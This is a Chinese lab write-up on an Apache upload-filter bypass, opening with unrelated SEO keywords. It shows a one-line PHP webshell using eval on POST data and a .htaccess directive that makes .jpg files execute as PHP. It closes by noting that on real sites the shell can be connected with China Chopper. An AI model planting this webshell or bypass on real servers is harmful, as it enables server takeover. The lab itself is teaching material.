网站制作的公司有哪些,四川成都房产网,wordpress修改上传,软件公司都是帮别人做网站么实验目的
利用上传htaccess文件解析漏洞绕过验证进行上传PHP脚本木马
实验工具
火狐#xff1a;Mozilla Firefox#xff0c;中文俗称“火狐”#xff08;正式缩写为Fx或fx#xff0c;非正式缩写为FF#xff09;#xff0c;是一个自由及开放源代码网页浏览器#xff0…实验目的
利用上传htaccess文件解析漏洞绕过验证进行上传PHP脚本木马
实验工具
火狐Mozilla Firefox中文俗称“火狐”正式缩写为Fx或fx非正式缩写为FF是一个自由及开放源代码网页浏览器使用Gecko排版引擎支持多种操作系统如Windows、Mac OS X及GNU/Linux等。
实验内容 什么是网站web漏洞
web漏洞通常是指网站程序上的漏洞可能是由于代码编写者在编写代码时考虑不周全等原因而造成的漏洞这些漏洞一旦被恶意攻击者利用会根据漏洞的危害程度造成不可估量的损失。
Web常见漏洞 SQL注入XSS跨站点脚本任意文件读取漏洞上传漏洞CSRF命令注入弱口令漏洞敏感信息泄露漏洞 htaccess绕过上传漏洞解析
htaccess文件是Apache服务器中的一个配置文件它负责相关目录下的网页配置。通过htaccess文件可以帮我们实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
PHP在处理.htaccess文件中的配置时存在漏洞本地攻击者可能利用此漏洞绕过PHP的某些安全限制。
如果将PHP用作Apache模块的话就可以使用.htaccess文件中的指令更改配置设置。用户可以使用这些选项更改display_errors之类权限选项
可以绕过不同函数中的safe_mode或open_basedir安全限制。例如用户可以通过.htaccess设置session.save_path。
session_save_path()和ini_set()函数中对save_path检查了safe_mode和open_basedir但在.htaccess中确可以绕过这个检查。
文件上传漏洞在WEB端属于危害比较大的漏洞一旦成功利用漏洞可能导致网站被下后门甚至可以直接拿下服务器权限。
白名单
服务端通过获取上传文件的扩展名来匹配预先定义的合法扩展名数组如果未能成功匹配的话认为上传文件不合法返回报错信息如果扩展名能成功匹配则认为上传文件合法进行文件保存操作。
拿上传图片举例服务端定义的白名单
$WhiteListarray(png,jpg,jpeg,gif);可以看到上述代码中只允许上传png,jpg,jpeg,gif这四种格式文件上传文件时服务端会检测后缀如果所上传的文件格式后缀没有在白名单允许的范围内系统会拒绝上传。
黑名单
服务端通过获取上传文件的扩展名来匹配预先定义的非法扩展名数组如果能成功匹配的话认为上传文件不合法返回报错信息如果扩展名没有匹配到则认为上传文件合法进行文件保存操作。
拿上传图片举例服务端定义的黑名单
$BlackListarray(php,htaccess,asp,aspx);根据黑名单列表可以看出服务器不允许上传攻击中常用的php、htaccess、asp、aspx等脚本文件也就是说这些文件都会被服务端所拦截不能上传成功。
下面开始实验
步骤1寻找上传漏洞并尝试上传
点击它后我们看到了网站的首页看到如下画面 我们看到下方显示了允许上传的类型可以猜测这应该是一个白名单验证系统只允许列出的文件后缀进行上传。
首先我们在桌面上找到一个后缀名为.png的图片然后我们点击浏览选择创建好的3.png然后点击提交。
然后我们在桌面创建一个php文件测试是否能上传成功。
在php文件里写入如下内容并命名为1.php
?php eval($_POST[123]);? //post会把123当做参数进行传递eval会执行后面的语句。eval在php中会将字符串当做代码来执行 而post的意思是使用post的方式进行传递参数。
一句话木马顾名思义它的体积很小只由一句php代码构成。
点击浏览选择创建好的1.php然后点击提交 可以看到提示错误的文件类型也就是只可以上传它白名单内的内容如果上传白名单外的东西会被系统拒绝。
因为在白名单列表中有jpg格式因此在我们再将它的后缀名改为jpg命名为123.jpg查看是否能成功。 可以看到改为jpg可以上传成功。
虽然jpg文件上传成功但它其中的php代码并不能执行成功使用中国菜刀也不会连接成功的。
因为jpg是图片格式不能解析其中的php代码要想解析php代码后缀必须为php或者其他可以解析php代码的格式。 提示这个时候我们就需要对其进行绕过服务器会检测我们所上传的后缀是否在白名单内如果不在的话就禁止上传。 步骤2:利用htaccess解析缺陷漏洞绕过上传检测
我们利用htaccess来绕过上传检测我们创建一个后缀名为.htaccess的文件文件内容为AddType application/x-httpd-php .jpg 这句话的意思是让Apache服务器识别并解析后缀名.jpg的文件名。 提示上传成功到服务器的.htaccess文件里的代码可以让 .jpg后缀名文件格式的文件名以 php格式解析 所以我们把PHP脚本木马文件的后缀名改为.jpg格式,让.htaccess文件解析PHP脚本木马文件里的php代码 ,使木马上传成功。 我们开始上传1.htaccess文件,我们查看结果。 我们找到了flag值我们把.htaccess文件里的代码上传到服务器后我们把php脚本木马文件从.php修改成.jpg格式让.htaccess文件解析php脚本则木马成功。
总结
在本次试验中我们尝试多种方法对其进行绕过。 我们再次上传了jpg文件虽然上传成功但并没有用处因为Apache把它解析成图片了 首先我们直接上传了php文件因为白名单中没有php后缀的格式拒绝上传因此失败了 接下来上传了htaccess文件这个上传成功了爆出了falg值。 因此我们得出结论需要成功的执行代码需要两个条件 上传文件后缀必须要在网站白名单之内否则无法上传。 上传文件后缀必须是Apache无法识别的后缀。
只有最后一个满足了这两点因此一句话木马才能上传成功。
因为本实验仅作为测试用无法连接中国菜刀在真实的环境中我们可以将上传木马的地址复制到菜刀里连接这样就拿到了网站的Shell(具体操作步骤敬请关注本平台的其他相关课程。